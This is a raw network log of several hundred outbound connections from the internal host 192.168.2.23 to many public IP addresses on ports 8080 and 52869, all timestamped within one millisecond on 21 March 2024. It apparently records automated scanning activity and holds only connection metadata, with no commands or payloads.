Mar 21, 2024 05:25:10.943959951 CET	11976	8080	192.168.2.23	189.216.168.228
Mar 21, 2024 05:25:10.943959951 CET	11976	8080	192.168.2.23	201.132.180.240
Mar 21, 2024 05:25:10.943968058 CET	11976	8080	192.168.2.23	187.207.131.114
Mar 21, 2024 05:25:10.943968058 CET	11976	8080	192.168.2.23	187.154.250.25
Mar 21, 2024 05:25:10.943968058 CET	4296	52869	192.168.2.23	54.251.107.33
Mar 21, 2024 05:25:10.943968058 CET	11976	8080	192.168.2.23	201.160.27.78
Mar 21, 2024 05:25:10.943968058 CET	11976	8080	192.168.2.23	201.238.193.92
Mar 21, 2024 05:25:10.943968058 CET	11976	8080	192.168.2.23	201.160.28.66
Mar 21, 2024 05:25:10.943968058 CET	11976	8080	192.168.2.23	187.180.15.128
Mar 21, 2024 05:25:10.943974972 CET	11976	8080	192.168.2.23	187.137.192.71
Mar 21, 2024 05:25:10.943974972 CET	4296	52869	192.168.2.23	216.52.179.164
Mar 21, 2024 05:25:10.943974972 CET	4296	52869	192.168.2.23	134.186.184.98
Mar 21, 2024 05:25:10.943974972 CET	11976	8080	192.168.2.23	187.179.42.83
Mar 21, 2024 05:25:10.943974972 CET	11976	8080	192.168.2.23	201.109.212.31
Mar 21, 2024 05:25:10.943977118 CET	4296	52869	192.168.2.23	125.11.4.186
Mar 21, 2024 05:25:10.943977118 CET	11976	8080	192.168.2.23	189.19.181.56
Mar 21, 2024 05:25:10.943977118 CET	11976	8080	192.168.2.23	201.253.230.4
Mar 21, 2024 05:25:10.943977118 CET	11976	8080	192.168.2.23	201.213.41.106
Mar 21, 2024 05:25:10.943977118 CET	4296	52869	192.168.2.23	46.158.225.225
Mar 21, 2024 05:25:10.943977118 CET	11976	8080	192.168.2.23	187.47.26.54
Mar 21, 2024 05:25:10.943977118 CET	11976	8080	192.168.2.23	187.197.89.59
Mar 21, 2024 05:25:10.943977118 CET	4296	52869	192.168.2.23	141.22.177.184
Mar 21, 2024 05:25:10.943981886 CET	11976	8080	192.168.2.23	201.45.245.0
Mar 21, 2024 05:25:10.943981886 CET	11976	8080	192.168.2.23	201.56.47.87
Mar 21, 2024 05:25:10.943981886 CET	11976	8080	192.168.2.23	187.69.146.220
Mar 21, 2024 05:25:10.943981886 CET	4296	52869	192.168.2.23	48.225.207.189
Mar 21, 2024 05:25:10.943981886 CET	4296	52869	192.168.2.23	154.83.148.183
Mar 21, 2024 05:25:10.943981886 CET	4296	52869	192.168.2.23	104.160.5.188
Mar 21, 2024 05:25:10.943983078 CET	4296	52869	192.168.2.23	138.23.23.227
Mar 21, 2024 05:25:10.943983078 CET	4296	52869	192.168.2.23	182.56.52.113
Mar 21, 2024 05:25:10.943983078 CET	4296	52869	192.168.2.23	217.172.190.74
Mar 21, 2024 05:25:10.943984985 CET	11976	8080	192.168.2.23	189.211.132.142
Mar 21, 2024 05:25:10.943995953 CET	11976	8080	192.168.2.23	187.32.209.51
Mar 21, 2024 05:25:10.944004059 CET	11976	8080	192.168.2.23	201.70.66.160
Mar 21, 2024 05:25:10.944010973 CET	4296	52869	192.168.2.23	206.18.148.234
Mar 21, 2024 05:25:10.944022894 CET	11976	8080	192.168.2.23	189.209.32.24
Mar 21, 2024 05:25:10.944025993 CET	4296	52869	192.168.2.23	168.51.65.26
Mar 21, 2024 05:25:10.944025993 CET	4296	52869	192.168.2.23	103.59.65.120
Mar 21, 2024 05:25:10.944025993 CET	4296	52869	192.168.2.23	99.242.91.227
Mar 21, 2024 05:25:10.944027901 CET	11976	8080	192.168.2.23	189.234.31.254
Mar 21, 2024 05:25:10.944027901 CET	4296	52869	192.168.2.23	44.52.105.24
Mar 21, 2024 05:25:10.944027901 CET	11976	8080	192.168.2.23	201.217.74.168
Mar 21, 2024 05:25:10.944027901 CET	11976	8080	192.168.2.23	187.33.62.84
Mar 21, 2024 05:25:10.944027901 CET	4296	52869	192.168.2.23	81.60.113.212
Mar 21, 2024 05:25:10.944027901 CET	4296	52869	192.168.2.23	107.137.137.145
Mar 21, 2024 05:25:10.944027901 CET	11976	8080	192.168.2.23	189.226.51.19
Mar 21, 2024 05:25:10.944027901 CET	11976	8080	192.168.2.23	189.138.42.186
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	78.83.95.23
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	45.17.248.30
Mar 21, 2024 05:25:10.944031000 CET	11976	8080	192.168.2.23	187.45.249.9
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	154.7.62.54
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	78.58.74.188
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	74.255.16.59
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	204.247.223.113
Mar 21, 2024 05:25:10.944031000 CET	4296	52869	192.168.2.23	63.26.105.18
Mar 21, 2024 05:25:10.944036007 CET	4296	52869	192.168.2.23	193.101.176.186
Mar 21, 2024 05:25:10.944041967 CET	11976	8080	192.168.2.23	189.62.135.191
Mar 21, 2024 05:25:10.944041967 CET	11976	8080	192.168.2.23	187.146.95.26
Mar 21, 2024 05:25:10.944041967 CET	4296	52869	192.168.2.23	155.216.72.52
Mar 21, 2024 05:25:10.944041967 CET	4296	52869	192.168.2.23	80.161.124.156
Mar 21, 2024 05:25:10.944041967 CET	11976	8080	192.168.2.23	189.148.151.29
Mar 21, 2024 05:25:10.944041967 CET	11976	8080	192.168.2.23	189.116.24.3
Mar 21, 2024 05:25:10.944041967 CET	11976	8080	192.168.2.23	189.199.66.204
Mar 21, 2024 05:25:10.944046974 CET	11976	8080	192.168.2.23	189.182.38.102
Mar 21, 2024 05:25:10.944046974 CET	4296	52869	192.168.2.23	80.39.159.44
Mar 21, 2024 05:25:10.944065094 CET	11976	8080	192.168.2.23	187.232.227.173
Mar 21, 2024 05:25:10.944065094 CET	11976	8080	192.168.2.23	201.9.22.185
Mar 21, 2024 05:25:10.944067955 CET	11976	8080	192.168.2.23	201.250.254.226
Mar 21, 2024 05:25:10.944067955 CET	11976	8080	192.168.2.23	187.237.209.203
Mar 21, 2024 05:25:10.944067955 CET	11976	8080	192.168.2.23	189.136.231.199
Mar 21, 2024 05:25:10.944097996 CET	11976	8080	192.168.2.23	189.6.93.217
Mar 21, 2024 05:25:10.944097996 CET	4296	52869	192.168.2.23	154.180.237.134
Mar 21, 2024 05:25:10.944099903 CET	4296	52869	192.168.2.23	51.52.254.42
Mar 21, 2024 05:25:10.944099903 CET	4296	52869	192.168.2.23	25.38.99.153
Mar 21, 2024 05:25:10.944099903 CET	11976	8080	192.168.2.23	201.183.214.102
Mar 21, 2024 05:25:10.944099903 CET	11976	8080	192.168.2.23	189.236.58.29
Mar 21, 2024 05:25:10.944099903 CET	11976	8080	192.168.2.23	201.218.68.242
Mar 21, 2024 05:25:10.944107056 CET	11976	8080	192.168.2.23	187.121.200.211
Mar 21, 2024 05:25:10.944107056 CET	11976	8080	192.168.2.23	201.252.78.209
Mar 21, 2024 05:25:10.944107056 CET	11976	8080	192.168.2.23	187.201.114.92
Mar 21, 2024 05:25:10.944107056 CET	11976	8080	192.168.2.23	201.9.230.254
Mar 21, 2024 05:25:10.944107056 CET	11976	8080	192.168.2.23	189.46.184.48
Mar 21, 2024 05:25:10.944111109 CET	4296	52869	192.168.2.23	147.63.230.54
Mar 21, 2024 05:25:10.944111109 CET	4296	52869	192.168.2.23	47.125.217.28
Mar 21, 2024 05:25:10.944111109 CET	4296	52869	192.168.2.23	165.29.60.13
Mar 21, 2024 05:25:10.944111109 CET	4296	52869	192.168.2.23	146.208.101.28
Mar 21, 2024 05:25:10.944111109 CET	11976	8080	192.168.2.23	189.69.97.49
Mar 21, 2024 05:25:10.944111109 CET	4296	52869	192.168.2.23	125.5.239.227
Mar 21, 2024 05:25:10.944111109 CET	11976	8080	192.168.2.23	187.14.238.7
Mar 21, 2024 05:25:10.944111109 CET	11976	8080	192.168.2.23	189.188.160.189
Mar 21, 2024 05:25:10.944122076 CET	4296	52869	192.168.2.23	77.218.149.59
Mar 21, 2024 05:25:10.944122076 CET	11976	8080	192.168.2.23	201.86.14.110
Mar 21, 2024 05:25:10.944122076 CET	4296	52869	192.168.2.23	186.129.102.50
Mar 21, 2024 05:25:10.944122076 CET	4296	52869	192.168.2.23	132.168.145.92
Mar 21, 2024 05:25:10.944122076 CET	11976	8080	192.168.2.23	201.199.130.186
Mar 21, 2024 05:25:10.944123030 CET	11976	8080	192.168.2.23	201.154.75.190
Mar 21, 2024 05:25:10.944123030 CET	4296	52869	192.168.2.23	14.124.135.46
Mar 21, 2024 05:25:10.944123030 CET	11976	8080	192.168.2.23	201.55.120.181
Mar 21, 2024 05:25:10.944129944 CET	11976	8080	192.168.2.23	189.152.163.141
Mar 21, 2024 05:25:10.944129944 CET	4296	52869	192.168.2.23	12.251.34.21
Mar 21, 2024 05:25:10.944129944 CET	4296	52869	192.168.2.23	73.136.19.143
Mar 21, 2024 05:25:10.944129944 CET	4296	52869	192.168.2.23	70.47.238.125
Mar 21, 2024 05:25:10.944133997 CET	11976	8080	192.168.2.23	189.66.177.7
Mar 21, 2024 05:25:10.944134951 CET	4296	52869	192.168.2.23	124.12.183.21
Mar 21, 2024 05:25:10.944135904 CET	11976	8080	192.168.2.23	201.169.243.16
Mar 21, 2024 05:25:10.944144964 CET	11976	8080	192.168.2.23	201.66.8.241
Mar 21, 2024 05:25:10.944144964 CET	11976	8080	192.168.2.23	187.35.146.45
Mar 21, 2024 05:25:10.944144964 CET	4296	52869	192.168.2.23	114.196.72.127
Mar 21, 2024 05:25:10.944144964 CET	4296	52869	192.168.2.23	59.67.64.100
Mar 21, 2024 05:25:10.944144964 CET	11976	8080	192.168.2.23	201.73.173.222
Mar 21, 2024 05:25:10.944144964 CET	4296	52869	192.168.2.23	153.216.176.227
Mar 21, 2024 05:25:10.944144964 CET	4296	52869	192.168.2.23	96.192.227.8
Mar 21, 2024 05:25:10.944145918 CET	4296	52869	192.168.2.23	19.149.50.246
Mar 21, 2024 05:25:10.944148064 CET	4296	52869	192.168.2.23	150.166.178.152
Mar 21, 2024 05:25:10.944150925 CET	11976	8080	192.168.2.23	187.88.178.117
Mar 21, 2024 05:25:10.944150925 CET	11976	8080	192.168.2.23	187.90.31.88
Mar 21, 2024 05:25:10.944159031 CET	4296	52869	192.168.2.23	27.211.200.80
Mar 21, 2024 05:25:10.944159031 CET	4296	52869	192.168.2.23	114.89.238.63
Mar 21, 2024 05:25:10.944159031 CET	11976	8080	192.168.2.23	189.191.225.110
Mar 21, 2024 05:25:10.944158077 CET	4296	52869	192.168.2.23	76.150.20.124
Mar 21, 2024 05:25:10.944159031 CET	4296	52869	192.168.2.23	134.49.33.46
Mar 21, 2024 05:25:10.944158077 CET	11976	8080	192.168.2.23	187.49.68.7
Mar 21, 2024 05:25:10.944169998 CET	11976	8080	192.168.2.23	187.171.61.67
Mar 21, 2024 05:25:10.944176912 CET	11976	8080	192.168.2.23	201.175.188.9
Mar 21, 2024 05:25:10.944178104 CET	11976	8080	192.168.2.23	201.4.248.240
Mar 21, 2024 05:25:10.944178104 CET	4296	52869	192.168.2.23	217.250.168.110
Mar 21, 2024 05:25:10.944178104 CET	4296	52869	192.168.2.23	156.43.194.9
Mar 21, 2024 05:25:10.944184065 CET	11976	8080	192.168.2.23	201.107.88.124
Mar 21, 2024 05:25:10.944186926 CET	11976	8080	192.168.2.23	189.1.65.18
Mar 21, 2024 05:25:10.944186926 CET	11976	8080	192.168.2.23	201.93.246.41
Mar 21, 2024 05:25:10.944186926 CET	11976	8080	192.168.2.23	189.213.86.82
Mar 21, 2024 05:25:10.944186926 CET	11976	8080	192.168.2.23	201.210.212.194
Mar 21, 2024 05:25:10.944200039 CET	4296	52869	192.168.2.23	144.76.33.36
Mar 21, 2024 05:25:10.944200039 CET	11976	8080	192.168.2.23	189.217.216.200
Mar 21, 2024 05:25:10.944200039 CET	11976	8080	192.168.2.23	189.38.156.152
Mar 21, 2024 05:25:10.944200039 CET	11976	8080	192.168.2.23	201.76.115.77
Mar 21, 2024 05:25:10.944200039 CET	4296	52869	192.168.2.23	41.20.165.181
Mar 21, 2024 05:25:10.944200039 CET	4296	52869	192.168.2.23	79.245.147.18
Mar 21, 2024 05:25:10.944201946 CET	4296	52869	192.168.2.23	218.163.217.190
Mar 21, 2024 05:25:10.944201946 CET	11976	8080	192.168.2.23	189.140.105.153
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	201.217.156.222
Mar 21, 2024 05:25:10.944209099 CET	4296	52869	192.168.2.23	121.78.213.204
Mar 21, 2024 05:25:10.944209099 CET	4296	52869	192.168.2.23	136.168.237.218
Mar 21, 2024 05:25:10.944209099 CET	4296	52869	192.168.2.23	146.175.104.204
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	187.88.252.40
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	189.120.230.45
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	189.209.115.240
Mar 21, 2024 05:25:10.944224119 CET	11976	8080	192.168.2.23	189.186.67.222
Mar 21, 2024 05:25:10.944209099 CET	4296	52869	192.168.2.23	181.54.59.74
Mar 21, 2024 05:25:10.944224119 CET	4296	52869	192.168.2.23	177.90.14.142
Mar 21, 2024 05:25:10.944209099 CET	4296	52869	192.168.2.23	116.9.133.183
Mar 21, 2024 05:25:10.944228888 CET	4296	52869	192.168.2.23	128.238.50.216
Mar 21, 2024 05:25:10.944209099 CET	4296	52869	192.168.2.23	103.107.89.49
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	189.113.149.82
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	201.0.115.255
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	201.131.111.51
Mar 21, 2024 05:25:10.944224119 CET	11976	8080	192.168.2.23	201.131.243.12
Mar 21, 2024 05:25:10.944228888 CET	4296	52869	192.168.2.23	207.182.162.33
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	189.223.28.65
Mar 21, 2024 05:25:10.944224119 CET	4296	52869	192.168.2.23	43.221.41.96
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	187.54.4.185
Mar 21, 2024 05:25:10.944209099 CET	11976	8080	192.168.2.23	189.174.20.242
Mar 21, 2024 05:25:10.944224119 CET	11976	8080	192.168.2.23	187.157.52.155
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	201.140.68.251
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	189.120.252.183
Mar 21, 2024 05:25:10.944226980 CET	4296	52869	192.168.2.23	202.251.21.128
Mar 21, 2024 05:25:10.944224119 CET	11976	8080	192.168.2.23	201.210.98.129
Mar 21, 2024 05:25:10.944226980 CET	4296	52869	192.168.2.23	181.82.123.83
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	187.179.141.49
Mar 21, 2024 05:25:10.944242001 CET	11976	8080	192.168.2.23	201.61.154.84
Mar 21, 2024 05:25:10.944228888 CET	4296	52869	192.168.2.23	180.37.199.186
Mar 21, 2024 05:25:10.944242001 CET	4296	52869	192.168.2.23	154.201.234.16
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	187.157.10.185
Mar 21, 2024 05:25:10.944226980 CET	4296	52869	192.168.2.23	96.161.226.30
Mar 21, 2024 05:25:10.944242001 CET	4296	52869	192.168.2.23	203.11.187.249
Mar 21, 2024 05:25:10.944225073 CET	11976	8080	192.168.2.23	187.107.216.92
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	201.78.215.239
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	155.152.231.20
Mar 21, 2024 05:25:10.944225073 CET	11976	8080	192.168.2.23	187.8.23.174
Mar 21, 2024 05:25:10.944242001 CET	11976	8080	192.168.2.23	201.75.249.209
Mar 21, 2024 05:25:10.944228888 CET	4296	52869	192.168.2.23	97.91.182.64
Mar 21, 2024 05:25:10.944252968 CET	11976	8080	192.168.2.23	189.215.82.168
Mar 21, 2024 05:25:10.944246054 CET	11976	8080	192.168.2.23	201.130.45.179
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	187.75.121.215
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	112.224.205.113
Mar 21, 2024 05:25:10.944228888 CET	11976	8080	192.168.2.23	189.152.109.104
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	209.102.33.30
Mar 21, 2024 05:25:10.944252968 CET	4296	52869	192.168.2.23	34.6.75.94
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	176.109.74.27
Mar 21, 2024 05:25:10.944252968 CET	11976	8080	192.168.2.23	201.55.175.159
Mar 21, 2024 05:25:10.944242001 CET	11976	8080	192.168.2.23	201.27.250.105
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	64.165.199.24
Mar 21, 2024 05:25:10.944242001 CET	4296	52869	192.168.2.23	82.25.121.182
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	208.205.32.57
Mar 21, 2024 05:25:10.944242001 CET	11976	8080	192.168.2.23	187.202.49.220
Mar 21, 2024 05:25:10.944246054 CET	4296	52869	192.168.2.23	1.1.86.30
Mar 21, 2024 05:25:10.944242001 CET	11976	8080	192.168.2.23	189.74.181.238
Mar 21, 2024 05:25:10.944252968 CET	11976	8080	192.168.2.23	189.155.239.170
Mar 21, 2024 05:25:10.944267988 CET	11976	8080	192.168.2.23	201.6.157.179
Mar 21, 2024 05:25:10.944267988 CET	4296	52869	192.168.2.23	184.155.163.41
Mar 21, 2024 05:25:10.944267988 CET	4296	52869	192.168.2.23	108.219.11.204
Mar 21, 2024 05:25:10.944267988 CET	11976	8080	192.168.2.23	187.249.61.77
Mar 21, 2024 05:25:10.944267988 CET	11976	8080	192.168.2.23	187.82.142.4
Mar 21, 2024 05:25:10.944267988 CET	4296	52869	192.168.2.23	221.214.187.7
Mar 21, 2024 05:25:10.944267988 CET	11976	8080	192.168.2.23	189.124.201.95
Mar 21, 2024 05:25:10.944272041 CET	11976	8080	192.168.2.23	189.142.2.77
Mar 21, 2024 05:25:10.944272041 CET	11976	8080	192.168.2.23	201.95.235.61
Mar 21, 2024 05:25:10.944293022 CET	11976	8080	192.168.2.23	189.176.76.9
Mar 21, 2024 05:25:10.944293022 CET	4296	52869	192.168.2.23	141.14.78.35
Mar 21, 2024 05:25:10.944293022 CET	11976	8080	192.168.2.23	187.126.27.221
Mar 21, 2024 05:25:10.944293022 CET	4296	52869	192.168.2.23	73.231.69.215
Mar 21, 2024 05:25:10.944293022 CET	4296	52869	192.168.2.23	54.51.239.229
Mar 21, 2024 05:25:10.944293022 CET	11976	8080	192.168.2.23	187.249.215.124
Mar 21, 2024 05:25:10.944293022 CET	11976	8080	192.168.2.23	201.44.98.130
Mar 21, 2024 05:25:10.944293022 CET	11976	8080	192.168.2.23	187.145.253.150
Mar 21, 2024 05:25:10.944324970 CET	4296	52869	192.168.2.23	43.235.222.159
Mar 21, 2024 05:25:10.944324970 CET	11976	8080	192.168.2.23	189.12.28.29
Mar 21, 2024 05:25:10.944324970 CET	11976	8080	192.168.2.23	189.235.255.210
Mar 21, 2024 05:25:10.944324970 CET	11976	8080	192.168.2.23	187.14.82.181
Mar 21, 2024 05:25:10.944324970 CET	11976	8080	192.168.2.23	189.60.231.227
Mar 21, 2024 05:25:10.944324970 CET	11976	8080	192.168.2.23	189.210.41.199
Mar 21, 2024 05:25:10.944345951 CET	11976	8080	192.168.2.23	201.50.188.244
Mar 21, 2024 05:25:10.944345951 CET	4296	52869	192.168.2.23	25.27.221.198
Mar 21, 2024 05:25:10.944345951 CET	11976	8080	192.168.2.23	189.154.15.75
Mar 21, 2024 05:25:10.944345951 CET	11976	8080	192.168.2.23	201.98.241.191
Mar 21, 2024 05:25:10.944345951 CET	4296	52869	192.168.2.23	220.250.7.238
Mar 21, 2024 05:25:10.944345951 CET	11976	8080	192.168.2.23	201.44.241.97
Mar 21, 2024 05:25:10.944345951 CET	11976	8080	192.168.2.23	201.75.210.126
Mar 21, 2024 05:25:10.944345951 CET	4296	52869	192.168.2.23	186.154.242.219
Mar 21, 2024 05:25:10.944350958 CET	11976	8080	192.168.2.23	187.7.88.169
Mar 21, 2024 05:25:10.944350958 CET	4296	52869	192.168.2.23	89.208.237.139
Mar 21, 2024 05:25:10.944350958 CET	4296	52869	192.168.2.23	77.145.102.170
Mar 21, 2024 05:25:10.944350958 CET	4296	52869	192.168.2.23	142.147.225.28
Mar 21, 2024 05:25:10.944350958 CET	4296	52869	192.168.2.23	47.251.52.246
Mar 21, 2024 05:25:10.944350958 CET	11976	8080	192.168.2.23	187.212.203.57
Mar 21, 2024 05:25:10.944350958 CET	4296	52869	192.168.2.23	108.19.68.244
Mar 21, 2024 05:25:10.944350958 CET	4296	52869	192.168.2.23	17.233.125.195
Mar 21, 2024 05:25:10.944359064 CET	11976	8080	192.168.2.23	201.184.140.58
Mar 21, 2024 05:25:10.944359064 CET	11976	8080	192.168.2.23	187.159.111.91
Mar 21, 2024 05:25:10.944359064 CET	11976	8080	192.168.2.23	201.252.150.136
Mar 21, 2024 05:25:10.944359064 CET	11976	8080	192.168.2.23	201.89.162.73
Mar 21, 2024 05:25:10.944359064 CET	11976	8080	192.168.2.23	187.255.250.71
Mar 21, 2024 05:25:10.944360018 CET	11976	8080	192.168.2.23	201.80.214.183
Mar 21, 2024 05:25:10.944360018 CET	11976	8080	192.168.2.23	187.41.229.218
Mar 21, 2024 05:25:10.944360018 CET	11976	8080	192.168.2.23	189.246.73.156
Mar 21, 2024 05:25:10.944365025 CET	11976	8080	192.168.2.23	189.134.181.177
Mar 21, 2024 05:25:10.944365025 CET	4296	52869	192.168.2.23	40.57.166.255
Mar 21, 2024 05:25:10.944365025 CET	11976	8080	192.168.2.23	189.2.233.195
Mar 21, 2024 05:25:10.944365025 CET	4296	52869	192.168.2.23	75.252.200.61
Mar 21, 2024 05:25:10.944365025 CET	4296	52869	192.168.2.23	5.253.238.181
Mar 21, 2024 05:25:10.944365025 CET	11976	8080	192.168.2.23	187.151.106.145
Mar 21, 2024 05:25:10.944365978 CET	11976	8080	192.168.2.23	187.61.108.84
Mar 21, 2024 05:25:10.944366932 CET	4296	52869	192.168.2.23	128.107.209.106
Mar 21, 2024 05:25:10.944365025 CET	11976	8080	192.168.2.23	187.248.12.60
Mar 21, 2024 05:25:10.944366932 CET	4296	52869	192.168.2.23	146.173.201.82
Mar 21, 2024 05:25:10.944365978 CET	11976	8080	192.168.2.23	189.63.79.163
Mar 21, 2024 05:25:10.944365978 CET	11976	8080	192.168.2.23	201.88.243.217
Mar 21, 2024 05:25:10.944365025 CET	11976	8080	192.168.2.23	187.112.179.49
Mar 21, 2024 05:25:10.944365978 CET	4296	52869	192.168.2.23	1.59.84.105
Mar 21, 2024 05:25:10.944366932 CET	4296	52869	192.168.2.23	166.162.204.229
Mar 21, 2024 05:25:10.944365978 CET	4296	52869	192.168.2.23	174.14.228.140
Mar 21, 2024 05:25:10.944366932 CET	4296	52869	192.168.2.23	156.35.144.218
Mar 21, 2024 05:25:10.944365978 CET	4296	52869	192.168.2.23	157.251.56.191
Mar 21, 2024 05:25:10.944365025 CET	11976	8080	192.168.2.23	201.135.143.122
Mar 21, 2024 05:25:10.944366932 CET	4296	52869	192.168.2.23	126.13.129.227
Mar 21, 2024 05:25:10.944365025 CET	4296	52869	192.168.2.23	212.170.208.36
Mar 21, 2024 05:25:10.944366932 CET	11976	8080	192.168.2.23	187.10.137.20
Mar 21, 2024 05:25:10.944382906 CET	11976	8080	192.168.2.23	189.201.250.124
Mar 21, 2024 05:25:10.944382906 CET	11976	8080	192.168.2.23	201.6.52.207
Mar 21, 2024 05:25:10.944382906 CET	4296	52869	192.168.2.23	13.191.41.109
Mar 21, 2024 05:25:10.944382906 CET	11976	8080	192.168.2.23	189.156.119.79
Mar 21, 2024 05:25:10.944382906 CET	11976	8080	192.168.2.23	189.88.31.212
Mar 21, 2024 05:25:10.944382906 CET	4296	52869	192.168.2.23	206.217.51.134
Mar 21, 2024 05:25:10.944382906 CET	4296	52869	192.168.2.23	146.166.33.17
Mar 21, 2024 05:25:10.944382906 CET	4296	52869	192.168.2.23	156.48.132.93
Mar 21, 2024 05:25:10.944415092 CET	4296	52869	192.168.2.23	61.97.10.98
Mar 21, 2024 05:25:10.944415092 CET	11976	8080	192.168.2.23	201.236.98.93
Mar 21, 2024 05:25:10.944415092 CET	4296	52869	192.168.2.23	175.88.165.175
Mar 21, 2024 05:25:10.944415092 CET	4296	52869	192.168.2.23	145.118.128.114
Mar 21, 2024 05:25:10.944415092 CET	11976	8080	192.168.2.23	187.50.58.33
Mar 21, 2024 05:25:10.944415092 CET	4296	52869	192.168.2.23	5.108.138.161
Mar 21, 2024 05:25:10.944426060 CET	4296	52869	192.168.2.23	164.81.13.111
Mar 21, 2024 05:25:10.944426060 CET	11976	8080	192.168.2.23	201.156.58.38
Mar 21, 2024 05:25:10.944426060 CET	4296	52869	192.168.2.23	130.230.167.85
Mar 21, 2024 05:25:10.944426060 CET	11976	8080	192.168.2.23	187.172.221.105
Mar 21, 2024 05:25:10.944427013 CET	4296	52869	192.168.2.23	48.177.184.72
Mar 21, 2024 05:25:10.944427013 CET	4296	52869	192.168.2.23	51.216.8.253
Mar 21, 2024 05:25:10.944434881 CET	4296	52869	192.168.2.23	112.53.232.143
Mar 21, 2024 05:25:10.944434881 CET	11976	8080	192.168.2.23	201.42.40.220
Mar 21, 2024 05:25:10.944434881 CET	11976	8080	192.168.2.23	187.36.2.34
Mar 21, 2024 05:25:10.944434881 CET	11976	8080	192.168.2.23	201.43.220.230
Mar 21, 2024 05:25:10.944434881 CET	4296	52869	192.168.2.23	102.135.174.174
Mar 21, 2024 05:25:10.944434881 CET	4296	52869	192.168.2.23	211.213.165.145
Mar 21, 2024 05:25:10.944434881 CET	4296	52869	192.168.2.23	125.85.10.62
Mar 21, 2024 05:25:10.944434881 CET	4296	52869	192.168.2.23	163.55.18.91
Mar 21, 2024 05:25:10.944463015 CET	11976	8080	192.168.2.23	187.225.181.248
Mar 21, 2024 05:25:10.944463015 CET	11976	8080	192.168.2.23	187.244.12.60
Mar 21, 2024 05:25:10.944463015 CET	11976	8080	192.168.2.23	201.230.59.51
Mar 21, 2024 05:25:10.944463015 CET	4296	52869	192.168.2.23	107.177.204.177
Mar 21, 2024 05:25:10.944463015 CET	11976	8080	192.168.2.23	189.23.63.56
Mar 21, 2024 05:25:10.944463015 CET	4296	52869	192.168.2.23	135.198.134.199
Mar 21, 2024 05:25:10.944463015 CET	4296	52869	192.168.2.23	133.161.90.163
Mar 21, 2024 05:25:10.944463015 CET	11976	8080	192.168.2.23	201.22.200.5
Mar 21, 2024 05:25:10.944473982 CET	11976	8080	192.168.2.23	201.109.225.176
Mar 21, 2024 05:25:10.944473982 CET	11976	8080	192.168.2.23	189.102.15.236
Mar 21, 2024 05:25:10.944473982 CET	11976	8080	192.168.2.23	187.169.2.148
Mar 21, 2024 05:25:10.944473982 CET	4296	52869	192.168.2.23	74.252.158.164
Mar 21, 2024 05:25:10.944473982 CET	11976	8080	192.168.2.23	187.177.85.87
Mar 21, 2024 05:25:10.944473982 CET	11976	8080	192.168.2.23	189.157.125.157
Mar 21, 2024 05:25:10.944473982 CET	4296	52869	192.168.2.23	53.12.233.131
Mar 21, 2024 05:25:10.944473982 CET	11976	8080	192.168.2.23	201.6.119.96
Mar 21, 2024 05:25:10.944478989 CET	4296	52869	192.168.2.23	128.98.128.215
Mar 21, 2024 05:25:10.944510937 CET	4296	52869	192.168.2.23	39.79.26.47
Mar 21, 2024 05:25:10.944510937 CET	4296	52869	192.168.2.23	205.114.207.209
Mar 21, 2024 05:25:10.944510937 CET	4296	52869	192.168.2.23	4.102.197.112
Mar 21, 2024 05:25:10.944510937 CET	11976	8080	192.168.2.23	201.229.135.183
Mar 21, 2024 05:25:10.944510937 CET	4296	52869	192.168.2.23	135.140.102.249
Mar 21, 2024 05:25:10.944510937 CET	11976	8080	192.168.2.23	201.130.89.38
Mar 21, 2024 05:25:10.944510937 CET	11976	8080	192.168.2.23	189.215.126.136
Mar 21, 2024 05:25:10.944510937 CET	4296	52869	192.168.2.23	147.104.222.240
Mar 21, 2024 05:25:10.944530964 CET	4296	52869	192.168.2.23	89.201.168.141
Mar 21, 2024 05:25:10.944530964 CET	11976	8080	192.168.2.23	189.158.203.4
Mar 21, 2024 05:25:10.944530964 CET	11976	8080	192.168.2.23	201.225.21.84
Mar 21, 2024 05:25:10.944531918 CET	4296	52869	192.168.2.23	1.142.15.150
Mar 21, 2024 05:25:10.944531918 CET	11976	8080	192.168.2.23	201.127.49.169
Mar 21, 2024 05:25:10.944531918 CET	4296	52869	192.168.2.23	122.2.207.4
Mar 21, 2024 05:25:10.944531918 CET	11976	8080	192.168.2.23	187.5.181.78
Mar 21, 2024 05:25:10.944531918 CET	11976	8080	192.168.2.23	201.122.79.72
Mar 21, 2024 05:25:10.944534063 CET	11976	8080	192.168.2.23	189.99.229.45
Mar 21, 2024 05:25:10.944534063 CET	11976	8080	192.168.2.23	189.167.102.241
Mar 21, 2024 05:25:10.944534063 CET	11976	8080	192.168.2.23	201.158.161.203
Mar 21, 2024 05:25:10.944534063 CET	4296	52869	192.168.2.23	145.24.44.105
Mar 21, 2024 05:25:10.944535017 CET	11976	8080	192.168.2.23	201.220.232.95
